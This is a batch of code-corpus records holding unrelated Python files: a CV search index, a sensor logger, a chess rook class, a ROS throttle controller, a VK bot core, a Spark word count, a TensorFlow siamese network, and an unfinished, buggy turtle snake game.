+{"seq_id":"126718617","text":"import os\nimport copy\nimport time\nimport cPickle\nimport collections\n\nimport utils.builtin\nimport core.outputstorage\n\n\nclass ReverseIndexing(object):\n\n    indexkeys = ('names',\n                 'current_places',\n                 'expectation_places',\n                 'education',\n                 'gender',\n                 'marital_status',\n                 'business',\n                 'date')\n\n    def __init__(self, path, cvsvc):\n        self.path = path\n        self.cvs = cvsvc.svcls\n        self.index = {}\n\n    def setup(self):\n        self.load()\n        updated = False\n        for svc in self.cvs:\n            name = svc.name\n            loadpath = os.path.join(self.path, utils.builtin.industrytopath(name))\n            if not os.path.exists(loadpath):\n                self.updatecv(svc)\n                updated = True\n        if updated:\n            self.save()\n        if not os.path.exists(self.path):\n            self.update()\n\n    def save(self):\n        if not os.path.exists(self.path):\n            os.makedirs(self.path)\n        for name in self.index:\n            industrypath = utils.builtin.industrytopath(name)\n            savepath = os.path.join(self.path, industrypath)\n            with open(savepath, 'w') as fp:\n                cPickle.dump(self.index[name], fp)\n\n    def load(self):\n        for cv in self.cvs:\n            name = cv.name\n            loadpath = os.path.join(self.path, utils.builtin.industrytopath(name))\n            if not os.path.exists(loadpath):\n                continue\n            with open(loadpath) as fp:\n                index = cPickle.load(fp)\n                self.index[name] = index\n\n    def update(self):\n        for svc in self.cvs:\n            self.updatecv(svc)\n        self.save()\n\n    def updatecv(self, svc):\n        assert svc.name\n        svc_name = svc.name\n        cv_index = {\n                self.indexkeys[0]: set(),\n                self.indexkeys[1]: dict(),\n                self.indexkeys[2]: dict(),\n                self.indexkeys[3]: dict(),\n                self.indexkeys[4]: dict(),\n                self.indexkeys[5]: dict(),\n                self.indexkeys[6]: dict(),\n                self.indexkeys[7]: dict(),\n        }\n        if svc_name in self.index:\n            cv_index = self.index[svc_name]\n        for name in svc.names():\n            if name not in cv_index['names']:\n                yamlinfo = svc.getyaml(name)\n                index = self.genindex(name, yamlinfo)\n                self.merge(cv_index, index)\n        self.index[svc_name] = cv_index\n\n    def upgrade(self, selected, ids=None):\n        assert set(selected).issubset(set(self.indexkeys))\n        for svc in self.cvs:\n            self.upgradecv(svc, selected, ids)\n        self.save()\n\n    def upgradecv(self, svc, selected, ids=None):\n        assert svc.name\n        svc_name = svc.name\n        if svc_name in self.index:\n            cv_index = self.index[svc_name]\n        if ids is not None:\n            ids = set([core.outputstorage.ConvertName(id).md for id in ids])\n            names = set(svc.names()) & ids\n        else:\n            names = svc.names()\n        for name in names:\n            yamlinfo = svc.getyaml(name)\n            index = self.genindex(name, yamlinfo, selected)\n            self.merge(cv_index, index)\n        self.index[svc_name] = cv_index\n        self.save()\n\n    def genindex(self, name, yamlinfo, selected=None):\n        if selected is None:\n            selected = self.indexkeys\n        index_map = {\n                self.indexkeys[0]: set([name]),\n                self.indexkeys[1]: self._cur_places(yamlinfo),\n                self.indexkeys[2]: self._exp_places(yamlinfo),\n                self.indexkeys[3]: self._education(yamlinfo),\n                self.indexkeys[4]: self._gender(yamlinfo),\n                self.indexkeys[5]: self._mar_status(yamlinfo),\n                self.indexkeys[6]: self._business(yamlinfo),\n                self.indexkeys[7]: self._date(yamlinfo),\n            }\n        result = dict()\n        for each in selected:\n            result[each] = index_map[each]\n        return result\n\n    def merge(self, left, right):\n        for key in right:\n            if isinstance(right[key], set):\n                if key not in left:\n                    left[key] = set()\n                left[key].update(right[key])\n            if isinstance(right[key], dict):\n                if key not in left:\n                    left[key] = dict()\n                self.merge(left[key], right[key])\n        return True\n\n    def get(self, filtedict, uses=None):\n        \"\"\"\n            # need key and value\n            # keys:\n            #     'current_places',\n            #     'expectation_places',\n            #     'education',\n            #     'gender',\n            #     'marital_status',\n            #     'business'\n            #     'date'\n        \"\"\"\n        if uses is None:\n            uses = self.index.keys()\n        results = set()\n        for use in uses:\n            assert use in self.index\n            parts = collections.defaultdict(set)\n            index = self.index[use]\n            for key in filtedict:\n                assert key in index\n                for value in filtedict[key]:\n                    if value in index[key]:\n                        parts[key].update(index[key][value])\n                if key not in parts and filtedict[key]:\n                    parts[key] = set()\n            if parts.values():\n                result = set.intersection(*parts.values())\n                results.update(result)\n        return results\n\n    def filte(self, filtedict, selected, uses=None):\n        \"\"\"\n            # need key and value\n            # keys:\n            #     'current_places',\n            #     'expectation_places',\n            #     'education',\n            #     'gender',\n            #     'marital_status',\n            #     'business'\n        \"\"\"\n        return self.get(filtedict, uses) & selected\n\n    def get_indexkeys(self, selected, keywords, uses=None):\n        assert set(selected).issubset(set(self.indexkeys))\n        if uses is None:\n            uses = self.index.keys()\n        results = set()\n        for use in uses:\n            index = self.index[use]\n            for selecte in selected:\n                result = filter(lambda w: [kw for kw in keywords if kw in w],\n                                index[selecte])\n                results.update(result)\n        return results\n\n    def filter_ids(self, ids, filterdict, uses=None):\n        indexdict = {}\n        filterdict = copy.deepcopy(filterdict)\n        if 'date' in filterdict:\n            try:\n                filterdict['date'] = utils.builtin.nemudate(filterdict['date'])\n            except ValueError:\n                filterdict.pop('date')\n        for key in filterdict:\n            if filterdict[key]:\n                indexdict[key] = self.get_indexkeys([key], filterdict[key], uses)\n        filterset = self.get(filterdict, uses=uses)\n        if indexdict:\n            ids = filter(lambda x: x in filterset or x[0] in filterset, ids)\n        return ids\n\n    def lastday(self):\n        return max([max(i['date'].keys()) for i in self.index.values() if i['date']])\n\n    def _cur_places(self, yamlinfo):\n        result = dict()\n        if 'current' in yamlinfo and 'places' in yamlinfo['current']:\n            for place in yamlinfo['current']['places']:\n                result[place] = set([yamlinfo['id']])\n        return result\n\n    def _exp_places(self, yamlinfo):\n        result = dict()\n        if 'expectation' in yamlinfo and 'places' in yamlinfo['expectation']:\n            for place in yamlinfo['expectation']['places']:\n                result[place] = set([yamlinfo['id']])\n        return result\n\n    def _education(self, yamlinfo):\n        result = dict()\n        if 'education' in yamlinfo and yamlinfo['education']:\n            education = yamlinfo['education']\n            result[education] = set([yamlinfo['id']])\n        return result\n\n    def _gender(self, yamlinfo):\n        result = dict()\n        if 'gender' in yamlinfo and yamlinfo['gender']:\n            gender = yamlinfo['gender']\n            result[gender] = set([yamlinfo['id']])\n        return result\n\n    def _mar_status(self, yamlinfo):\n        result = dict()\n        if 'marital_status' in yamlinfo and yamlinfo['marital_status']:\n            marital_status = yamlinfo['marital_status']\n            result[marital_status] = set([yamlinfo['id']])\n        return result\n\n    def _business(self, yamlinfo):\n        result = collections.defaultdict(set)\n        if 'company' in yamlinfo['experience'] and yamlinfo['experience']['company']:\n            for c in yamlinfo['experience']['company']:\n                if 'business' in c:\n                    result[c['business']].add(yamlinfo['id'])\n        return result\n\n    def _date(self, yamlinfo):\n        result = dict()\n        if 'date' in yamlinfo and yamlinfo['date']:\n            ste_date = time.strftime('%Y%m%d', time.localtime(yamlinfo['date']))\n            result[ste_date] = set([yamlinfo['id']])\n        return result\n","sub_path":"services/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":9072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"480287577","text":"#!/usr/bin/python\n#from IAQ_AnalogPortController import *\nfrom GUI.IAQ_GUI import GUI\nfrom IAQ_FileHandler import FileHandler\nimport time\nimport logging\nimport sys\n\n# TODO: Create main loop for Logger\n\n# TODO: Create the following:\n# Initial Conditions: Set all GPIO to a known safe state\n# Load GUI view.\n# Allow user to start logger from default setup\n# Allow user to start logger from custom setup\n# Allow user to edit and save custom setup config file\n# Allow user to change default logger setup to custom\n# Allow user to edit and save sensor config files\n# Start Logger after T amount of time without user input (Default Setup)\n# Start Logger after user presses \"Start\"\n# Stop Logger after user presses \"Stop\"\n# Load config file that lists all sensors and their hardware port number\n\n\n# while True:\n#     data['Date-Time'] = str(datetime.datetime.now())\n#     data['Temp']      = temp.get_temp()\n#     data['Pressure']  = temp.get_pressure()\n#     data['Humidity']  = temp.get_humidity()\n#     data['Location']  = \"ECE Conference\"\n#     csv.writeData(data)\n#     print data\n\nclass Logger:\n    gui = None\n    csv = None\n    setup_path = None\n    softwareVersion = None\n    sensor_names = []\n    setup_info = []\n    logger_id = None\n    logger_type = None\n    setup_header = [\"Logger Type\",\"Logger ID\",\n                    \"Software Version\",\"Setup Path\",\"Sensors\"]\n    DEFAULT_PATH=\"./Config/Default/logger_setup.csv\"\n    # Analog Ports\n    A0 = None\n    A1 = None\n    A2 = None\n    A3 = None\n    A4 = None\n    A5 = None\n\n    shutdown = False\n\n    def __init__(self,setup_path=None):\n        # Initialize All Sub-Subsystems \n        # Exit with Critical Error on Failure\n        if self._powerOn() == False: return self._powerOff()\n\n        self._printBanner(\"Setting Up Logger...\")\n        # Verify that file exists from path given\n        status = self._verifySetupFile(setup_path)\n        if (status == False): return\n        # Initialize logger based on setup_path specifications\n        status = self._initFromFile(self.setup_path)\n        if status == True:\n            self._printBanner(\"Setup SUCCESS\")\n        else:\n            self._printBanner(\"Setup FAILURE\")\n\n    def _powerOn(self):\n        self.gui = GUI()\n        self.csv = FileHandler()\n        return True\n\n    def _powerOff(self):\n        print(\"Fatal Error: Failed to initialze sub-systems\")\n        self.shutdown = True\n        return\n\n    def _verifySetupFile(self,setup_path=None):\n        if (setup_path == None):\n            setup_path = self.DEFAULT_PATH\n        self.setup_path = setup_path\n        try:\n            open(self.setup_path, 'r')\n        except FileNotFoundError:\n            self._printBanner(\"Error: Setup File Not Found.\")\n            return False\n        return True\n\n    def _initFromFile(self,filepath=None):\n        try:\n            setup_config = self.csv.csvToDict(filepath)\n            self.logger_id   = str(setup_config.get('Id',None)[0])\n        except TypeError:\n            self._printBanner(\"Fatal Error: Invalid Logger Setup file\")\n            return\n        self.logger_type = str(setup_config.get('Logger Type',None)[0])\n        self.softwareVersion = str(setup_config.get('Software Version',None)[0])\n        sensor_path  = setup_config.get('Sensors',None)\n        sensors = self.csv.csvToDict(sensor_path)\n        for s in sensors:\n            self.sensor_names.append(s.get(\"Name\",None))\n            self.setup_info = [self.logger_type,self.logger_id,\n                    self.softwareVersion,self.setup_path,self.sensor_names]\n\n        return self._printSetupStatus()\n\n    def updateGui(self):\n        self.gui.update_idletasks()\n        self.gui.update()\n\n    def printSystem(self,msg):\n        try:\n            self.gui.startpage_output(msg)\n            return True\n        except AttributeError:\n            print(\"Fatal Error: GUI failed to load.\")\n            return False\n\n    def _printBanner(self,midText=None):\n        hashes = \"##################################################\\n\"\n        spaces = (len(hashes) + len(midText))/2\n        midText = midText.rjust(spaces) + \"\\n\"\n        banner = hashes + midText + hashes\n        self.printSystem(banner)\n\n    def _printSetupStatus(self):\n        try:\n            for info,text in zip(self.setup_info,self.setup_header):\n                if info == None:\n                    return False\n                info = text + \": \" + str(info)\n                self.printSystem(info)\n        except TypeError:\n            if self.setup_info == None:\n                self.printSystem(\"Error: Invalid Setup Info.\")\n            elif self.setup_header == None:\n                self.printSystem(\"Error: Invalid Setup Header.\")\n            return False\n        return True\n\n    def On(self):\n        if self.shutdown == True:\n            return False\n        return True\n\nlogger = Logger()\nstart = time.time()\nwhile logger.On():\n    logger.updateGui()\n    end = time.time()\n    if ((end - start) >= 1):\n        start = time.time()\n","sub_path":"Software/IAQ_Logger.py","file_name":"IAQ_Logger.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"74168771","text":"from Piece import Piece\nfrom King import King\n\n## @package Rook\n#\n# Contains Rook class.\n\n## Object of class Rook is object of class Piece with restricted legal moves\n# to rook's moves and can do a castling with object class King.\n\n\nclass Rook(Piece):\n    def __init__(self, x, y, board):\n        \"\"\"\n        The constructor of class Rook, subclass of Piece.\n        Changing attribute name and value.\n        :param x: Int. First starting coordinate on given board.\n        :param y: Int. Second starting coordinate on given board.\n        :param board: Object Board on which this piece will play.\n        \"\"\"\n        super().__init__(x, y, board)\n        ## str of name of this piece\n        self.name = 'R'\n        ## int of value of this piece\n        self.value = 5\n\n    def update_moves(self, turn):\n        \"\"\"\n        Updating legal moves of this piece.\n        :param turn: Int. Number of current turn.\n        :return: None.\n        \"\"\"\n        super().update_moves(turn)\n        i, j = self.get_current_position()\n        i = i - 1\n        while 0 <= i < 8:\n            if self.my_board.get_board()[i][j].my_color is not None:\n                if self.my_board.get_board()[i][j].my_color == self.my_color:\n                    break\n                else:\n                    self.possible_moves.add((i, j))\n                    break\n            self.possible_moves.add((i, j))\n            i = i - 1\n\n        i, j = self.get_current_position()\n        j = j - 1\n        while 0 <= j < 8:\n            if self.my_board.get_board()[i][j].my_color is not None:\n                if self.my_board.get_board()[i][j].my_color == self.my_color:\n                    break\n                else:\n                    self.possible_moves.add((i, j))\n                    break\n            self.possible_moves.add((i, j))\n            j = j - 1\n\n        i, j = self.get_current_position()\n        i = i + 1\n        while 0 <= i < 8:\n            if self.my_board.get_board()[i][j].my_color is not None:\n                if self.my_board.get_board()[i][j].my_color == self.my_color:\n                    break\n                else:\n                    self.possible_moves.add((i, j))\n                    break\n            self.possible_moves.add((i, j))\n            i = i + 1\n\n        i, j = self.get_current_position()\n        j = j + 1\n        while 0 <= j < 8:\n            if self.my_board.get_board()[i][j].my_color is not None:\n                if self.my_board.get_board()[i][j].my_color == self.my_color:\n                    break\n                else:\n                    self.possible_moves.add((i, j))\n                    break\n            self.possible_moves.add((i, j))\n            j = j + 1\n\n        i, j = self.get_current_position()\n        if self.my_board.is_castling_possible(i, j):\n            if self.my_color.color == 'white':\n                self.possible_moves.add((3, 0))\n            elif self.my_color.color == 'black':\n                self.possible_moves.add((3, 7))\n\n        self.my_color.possible_attacks[self] = self.possible_moves\n\n    def castling(self, turn):\n        if not self.moved and self.my_color.color == 'white':\n            king = self.my_board.get_board()[3][0]\n            if not isinstance(king, King):\n                return False\n            if not king.moved:\n                if self.get_current_position() == (0, 0):\n                    self.set_position(2, 0)\n                    king.set_position(1, 0)\n                    self.moved = True\n                    king.moved = True\n                    return True\n                elif self.get_current_position() == (7, 0):\n                    self.set_position(4, 0)\n                    king.set_position(5, 0)\n                    self.moved = True\n                    king.moved = True\n                    return True\n            else:\n                return False\n        elif not self.moved and self.my_color.color == 'black':\n            king = self.my_board.get_board()[3][7]\n            if not isinstance(king, King):\n                return False\n            if not king.moved:\n                if self.get_current_position() == (0, 7):\n                    self.set_position(2, 7)\n                    king.set_position(1, 7)\n                    self.moved = True\n                    king.moved = True\n                    return True\n                elif self.get_current_position() == (7, 7):\n                    self.set_position(4, 7)\n                    king.set_position(5, 7)\n                    self.moved = True\n                    king.moved = True\n                    return True\n            else:\n                return False\n        else:\n            return False\n","sub_path":"Rook.py","file_name":"Rook.py","file_ext":"py","file_size_in_byte":4664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"440230547","text":"import rospy\nfrom yaw_controller import YawController\nfrom pid import PID\nfrom lowpass import LowPassFilter\n\n\nGAS_DENSITY = 2.858\nONE_MPH = 0.44704\n\n\nclass Controller(object):\n    def __init__(self, *args, **kwargs):\n        wheel_base = kwargs[\"wheel_base\"]\n        steer_ratio = kwargs[\"steer_ratio\"]\n        min_speed = kwargs[\"min_speed\"]\n        max_lat_accel = kwargs[\"max_lat_accel\"]\n        max_steer_angle = kwargs[\"max_steer_angle\"]\n\n        self.yaw_controller = YawController(wheel_base, steer_ratio, min_speed, max_lat_accel, max_steer_angle)\n\n        kp = 4\n        ki = 0.05\n        kd = 1\n        mn = 0     # min throttle\n        mx = 0.5   # 0.2 max throttle\n        self.throttle_controller = PID(kp, ki, kd, mn, mx)\n\n        tau = 0.5 # 1/(2pi*tau) = cutoff frequency\n        ts = 0.02 # sample time\n        self.velocity_lpf = LowPassFilter(tau, ts)\n\n        self.vehicle_mass = kwargs[\"vehicle_mass\"]\n        self.fuel_capacity = kwargs[\"fuel_capacity\"]\n        self.brake_deadband = kwargs[\"brake_deadband\"]\n        self.decel_limit = kwargs[\"decel_limit\"]\n        self.accel_limit = kwargs[\"accel_limit\"]\n        self.wheel_radius = kwargs[\"wheel_radius\"]\n\n        self.last_time = rospy.get_time()\n        \n        \n    def control(self, *args, **kwargs):\n        # Return throttle, brake, steer\n        # self.throttle, self.brake, self.steering\n        throttle = 0\n        brake = 0\n        steering = 0\n        linear_vel = kwargs[\"linear_vel\"]\n        angular_vel = kwargs[\"angular_vel\"]\n        current_vel = kwargs[\"current_vel\"]\n        dbw_enabled = kwargs[\"dbw_enabled\"]\n        if not dbw_enabled:\n            self.throttle_controller.reset()\n            return throttle, brake, steering\n        \n        throttle = 1\n        current_vel = self.velocity_lpf.filt(current_vel)\n        steering = self.yaw_controller.get_steering(linear_vel, angular_vel, current_vel)\n\n        vel_error = linear_vel - current_vel\n        self.last_vel = current_vel\n\n        current_time = rospy.get_time()\n        sample_time = current_time - self.last_time\n        self.last_time = current_time\n        \n        self.throttle_controller.max = 0.5\n        if (current_vel < 0.3):\n            self.throttle_controller.max = 0.2\n\n        throttle = self.throttle_controller.step(vel_error, sample_time)\n        rospy.loginfo(\"<%f>\", vel_error)\n\n        brake = 0\n        if linear_vel == 0. and current_vel < 0.1:\n            throttle = 0\n            brake = 400 # N*m - stop the car, acceleration = 1 m/s^2\n        elif throttle < .1 and vel_error < 0:\n            throttle = 0\n            decel = max(vel_error, self.decel_limit)  # vel_error / sample_time ??\n            brake = abs(decel) * self.vehicle_mass * self.wheel_radius # Torque N*m\n\n        return throttle, brake, steering\n","sub_path":"ros/src/twist_controller/twist_controller.py","file_name":"twist_controller.py","file_ext":"py","file_size_in_byte":2805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"77077779","text":"\"\"\"\nОсновная точка запуска любого бота\n\"\"\"\nimport asyncio\nimport json\nfrom dataclasses import dataclass, field\nfrom typing import Union\nfrom typing import List\n\nimport click\nfrom pygments import highlight, lexers, formatters\nfrom pygments.formatters.terminal import TERMINAL_COLORS\nfrom pygments.token import string_to_tokentype\n\nfrom .api import API\nfrom .lp import LongPoll\nfrom .signal import SignalsList, Signal\nfrom .reaction import ReactionsList, Reaction\nfrom .annotypes import Annotype\nfrom . import current\n\n\nTERMINAL_COLORS[string_to_tokentype(\"String\")] = (\"gray\", \"_\")\nTERMINAL_COLORS[string_to_tokentype(\"Token.Literal.Number\")] = (\"yellow\", \"_\")\nTERMINAL_COLORS[string_to_tokentype(\"Token.Keyword.Constant\")] = (\"red\", \"_\")\nTERMINAL_COLORS[string_to_tokentype(\"Token.Name.Tag\")] = (\"cyan\", \"_\")\n\n\n@dataclass\nclass Bot(Annotype):\n    \"\"\"\n    Основной менеджер событий LongPoll,\n    сигналов, API запросов и в целом работы бота\n    \"\"\"\n\n    token: str\n    \"\"\"\n    Токен пользователя/группы\n    \"\"\"\n\n    group_id: int\n    \"\"\"\n    Айдификатор группы, с которым будут\n    связаны LongPoll события\n    \"\"\"\n\n    debug: bool\n    \"\"\"\n    Режим дебага в терминале\n    \"\"\"\n\n    config: dict = field(default_factory=dict)\n    \"\"\"\n    Общие настройки бота (дополнительно)\n    \"\"\"\n\n    version: Union[float, str] = 5.124\n    \"\"\"\n    Версия API\n    \"\"\"\n\n    wait: int = 25\n    \"\"\"\n    Время ожидания ответа LongPoll события\n    \"\"\"\n\n    owner: str = \"group\"\n    \"\"\"\n    Тип владельца токена. group/user\n    \"\"\"\n\n    URL: str = \"https://api.vk.com/method/\"\n    \"\"\"\n    URL API запросов\n    \"\"\"\n\n    signals: List[Signal] = field(default_factory=SignalsList)\n    \"\"\"\n    Список обрабатываемых сигналов\n    \"\"\"\n\n    reactions: List[Reaction] = field(default_factory=ReactionsList)\n    \"\"\"\n    Список обрабатываемых реакций\n    \"\"\"\n\n    def __post_init__(self):\n        current.bot = self\n        if float(self.version) < 5.103:\n            raise ValueError(\"You can't use API version lower than 5.103\")\n        self.version = str(self.version)\n        current.api = API(\n            token=self.token,\n            version=self.version,\n            owner=self.owner,\n            group_id=self.group_id,\n            URL=self.URL,\n        )\n        self.lp = LongPoll(group_id=self.group_id, wait=self.wait)\n\n        self.reload_now = False\n        # self.reload_now = asyncio.Event()\n\n    @staticmethod\n    def prepare(argname, event, func, bin_stack):\n        return current.bot\n\n    def debug_out(self, string, **kwargs):\n        \"\"\"\n        Проивзодит вывод, если включен режим дебага\n        \"\"\"\n        if self.debug:\n            print(string, **kwargs)\n\n    def run(self):\n        \"\"\"\n        Запускает LongPoll процесс,\n        вызывая перед этим `startup`,\n        а в конце и `shutdown` сигналы\n        \"\"\"\n        loop = asyncio.get_event_loop()\n        loop.run_until_complete(self.signals.resolve(\"startup\"))\n\n        while True:\n            try:\n                loop.run_until_complete(self._process_handler())\n\n            except (RuntimeError, KeyboardInterrupt):\n                break\n            finally:\n                loop.run_until_complete(\n                    asyncio.wait(\n                        [self.signals.resolve(\"shutdown\"), self.lp.close()],\n                        loop=loop,\n                    )\n                )\n\n\n    async def _files_changing_check(self):\n        \"\"\"\n        Поднимает RuntimeError после изменений\n        в директории бота для того, чтобы остановиться\n        \"\"\"\n        while not self.reload_now:\n            await asyncio.sleep(0)\n        raise RuntimeError()\n\n    async def _process_handler(self):\n        \"\"\"\n        Запускает две таски:\n\n        1. Процесс прослушивания LongPoll и обработки событий реакциями\n        1. Слежку за изменением файлов по \"переменной состояния\"\n        \"\"\"\n        await asyncio.gather(self._files_changing_check(), self._run())\n\n    async def _run(self):\n        \"\"\"\n        Процесс прослушивания LongPoll и обработки событий реакциями\n        \"\"\"\n        await self.lp.get_info()\n        async for events in self.lp:\n            for event in events:\n\n                if self.debug and self.reactions.has_event(event.type):\n                    click.clear()\n\n                    data = json.dumps(\n                        event._mapping, ensure_ascii=False, indent=4\n                    )\n                    data = highlight(\n                        data,\n                        lexers.JsonLexer(),\n                        formatters.TerminalFormatter(bg=\"light\"),\n                    )\n                    self.debug_out(\n                        f\"{'=' * 35}\\nBelow is the current handled event\\n{'=' * 35}\\n\"\n                    )\n                    # print(\"=\" * 35, \"Below is the current handled event\\n\", sep=\"\\n\", end=\"=\" * 35 + \"\\n\")\n                    self.debug_out(data.strip())\n                    self.debug_out(\n                        f\"{'=' * 35}\\nAbove is the current handled event\\n{'=' * 35}\\n\"\n                    )\n\n                asyncio.create_task(self.reactions.resolve(event))\n","sub_path":"vkquick/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":5711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"250139170","text":"from pyspark import SparkContext, SparkConf\n\nconf = SparkConf().setAppName('App')\nsc = SparkContext(conf = conf)\n\nrdd = sc.textFile('file:///home/ubuntu/ApacheSpark/sample2.txt')\nrdd1 = rdd.flatMap(lambda x : x.strip().split())\nrdd2 = rdd1.map(lambda word: (word, 1))\ncount = rdd2.reduceByKey(lambda a, b: a + b)\nprint(\"*********\")\nprint(count.collect())\nprint('done')\n","sub_path":"wordCount.py","file_name":"wordCount.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"329923177","text":"import tflearn\nfrom tflearn.layers.core import input_data, dropout, fully_connected\nfrom tflearn.layers.conv import conv_1d, global_max_pool, max_pool_1d\nfrom tflearn.layers.merge_ops import merge\nfrom tflearn.layers.estimator import regression\nimport tensorflow as tf\nepsilon = 1e-6\n\nclass Siamese:\n    def __init__(self):\n        self.input_1 = tf.placeholder(tf.float32, [None, 10], name='input_1')\n        self.input_2 = tf.placeholder(tf.float32, [None, 10])\n        with tf.variable_scope(\"siamese\") as scope:\n            self.o1 = self.network(self.input_1)\n            scope.reuse_variables()\n            self.o2 = self.network(self.input_2)\n        # Create loss\n        self.y_ = tf.placeholder(tf.float32, [None])\n        self.loss = self.contrastive_loss()\n\n    def network(self, x):\n        fc1 = self.fc_layer(x, 1024, \"fc1\")\n        ac1 = tf.nn.relu(fc1)\n        fc2 = self.fc_layer(ac1, 1024, \"fc2\")\n        ac2 = tf.nn.relu(fc2)\n        fc3 = self.fc_layer(ac2, 2, \"fc3\")\n        return fc3\n\n    def fc_layer(self, bottom, n_weight, name):\n        assert len(bottom.get_shape()) == 2\n        n_prev_weight = bottom.get_shape()[1]\n        initer = tf.truncated_normal_initializer(stddev=0.01)\n        W = tf.get_variable(name+'W', dtype=tf.float32, shape=[n_prev_weight, n_weight], initializer=tf.contrib.layers.xavier_initializer(seed = 1))\n        b = tf.get_variable(name+'b', dtype=tf.float32, shape=[n_weight], initializer=tf.zeros_initializer())\n        fc = tf.nn.bias_add(tf.matmul(bottom, W), b)\n        return fc\n\n    def contrastive_loss(self):\n        margin = 0.01\n        labels_t = self.y_\n        labels_f = tf.subtract(1.0, self.y_, name=\"1-yi\") \n\n        C = tf.constant(margin, name=\"C\")\n        eucd2 = tf.pow(tf.subtract(self.o1, self.o2), 2)\n        eucd2 = tf.reduce_sum(eucd2, 1)\n        eucd = tf.sqrt(eucd2 + epsilon, name=\"eucd\")\n        pos = tf.multiply(labels_t, eucd2, name=\"yi_x_eucd2\")\n        neg = tf.multiply(labels_f, tf.pow(tf.maximum(tf.subtract(C, eucd), 0), 2), name=\"Nyi_x_C-eucd_xx_2\")\n        losses = tf.add(pos, neg, name=\"losses\")\n        loss = tf.reduce_mean(losses, name=\"loss\")\n\n        \n        return loss\n","sub_path":"neural_network/backup_casestudy/SNN/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"49001173","text":"#import\nimport turtle\nimport time\nimport random\n\ndelay= 0.1\n\n#score\nscore = 00\nhigh_score = 00\n\n\n\n\n\n#screen\n#tracer() This function is used to turn turtle animation on or off and set a delay for update drawings. Parameters: n: If n is given, only each n-th regular screen update is really performed\nws= turtle.Screen()\nws.title(\"Snake Game\")\nws.bgcolor(\"yellow\")\nws.setup(width=600, height=600)\nws.tracer(0)\n\n\n\n\n\n#head\n#penup or pu means pick pen up, so you can move turtle without leaving tracks. pendown or pd means pick pen down, so you can move the turtle and leave tracks.\n#goto(x,y=none)  #goto=navigator\nhead = turtle.Turtle()\nhead.speed(0)\nhead.shape(\"square\")\nhead.color(\"black\")\nhead.penup()\nhead.goto(0,0)\nhead.direction=\"stop\"\n\n\n\n#snake food\nfood = turtle.Turtle()\nfood.speed(0)\nfood.shape(\"square\")\nfood.color(\"red\")\nfood.penup()\nhead.goto(0,100)\n\nsegment=[]\n#Segment is the simplest way to integrate analytics into your application\n\n\n\n#scoreboard\n\nsb = turtle.Turtle()\nsb.speed(0)\nsb.shape(\"square\")\nsb.color(\"black\")\nsb.penup()\nsb.hideturtle()\nsb.goto(0,260)\nsb.write(\"score: 00, High score : 00\", align=\"center\", font=(\"ds-digital\", 24, \"normal\"))\n\n\n#functions\n\ndef go_up():\n\tif head.derection != \"down\" :\n\t\thead.direction = \"up\"\ndef go_down():\n\t\tif head.direction != \"up\":\n\t\t\thead.direction = \"down\"\ndef go_left():\n\t\tif head.direction != \"right\":\n\t\t\thead.direction= \"left\"\ndef go_right():\n\tif head.direction != \"left\":\n\t\thead.direction = \"right\"\n\t\t\n\n\t\t\n#xcor() This function is used to return the turtle's x coordinate of the current position of turtle. It doesn't require any argument\t\t\t\t\t\t\ndef move():\n\tif head.direction == \"up\":\n\t\ty = head.ycor()\n\t\thead.sety(y+20)\n\t\t\n\tif head.direction == \"down\" :\n\t\ty = head.ycor()\n\t\thead.sety(y-20)\n\t\t\n\tif head.direction == \"left\":\n\t\tx = head.xcor()\n\t\thead.setx(x+20)\n\t\n\tif head.direction == \"right\":\n\t\tx = head.xcor()\n\t\thead.setx(x+20)\n\t\n\t\n#Keyboard binding\n\nws.listen()\nws.onkeypress(go_up, \"w\")\nws.onkeypress(go_down, \"s\")\nws.onkeypress(go_left, \"a\")\nws.onkeypress(go_right, \"d\")\n\n#mainloop\n\nwhile True:\n\tws.update()\n\t\n\t#check collision with border\n\t\n\tif head.xcor()>290 or head.xcor()< -290 or head.ycor()>290 or head.ycor()<-290 :\n\t\ttime.sleep(1)\n\t\thead.goto(0,0)\n\t\thead.direction = \"stop\"\n\t\t\n\t\t\n\t\t#hide the segment of body\n\t\t\n\t\tfor segment in segments :\n\t\t\tsegment.goto(1000,1000) #outnofrange\n\t\t\t#clear the segment\n\t\t\tsegment.clear()\n\t\t\t\n\t\t\t#reset score\n\t\t\tscore = 0\n\t\t\t\n\t\t\t#reset dalay\n\t\t\tdelay = 0.1\n\t\t\t\n\t\t\tsb.clear()\n\t\t\tsb.write(\"score: {} highscore : {}\".format(score,high_score),align=\"center\",font=(\"ds-digital\",24,\"normal\"))\n\t\t\t\n\t\t\t\n\t\t#check collision with food\n\tif head.distance(food) < 20:\n\t\t\n\t\t#move the food to random place\n\t\tx= random.radiant(-290,290)\n\t\ty= random.radiant(-290,290)\n\t\tfood.goto(x,y)\n\t\t\n\t\t#add mew segment to the head\n\t\tnew_segment = turtle.Turtle()\n\t\tnew_segment.speed(0)\n\t\tnew_segment.shape(\"square\")\n\t\tnew_segment.color(\"black\")\n\t\tnew_segment.penup()\n\t\tsegment.append(new_segment)\n\t\t\n\t\t\n\t\t#shortan the delay\n\t\t\n\t\tdelay -= 0.001\n\t\t\n\t\t#increase the score\n\t\tscore += 10\n\t\t\n\t\tif score > high_score:\n\t\t\thigh_score = score\n\t\t\t\n\t\tsb.clear()\n\t\tsv.write(\"score : {} high score : {} \".format(score,high_score),align=\"center\",font=(\"ds-digital\",24,\"normal\"))\n\t\t\n\t\t\n\t\t#move the segment in reverse oreder\n\t\tfor imdex in range 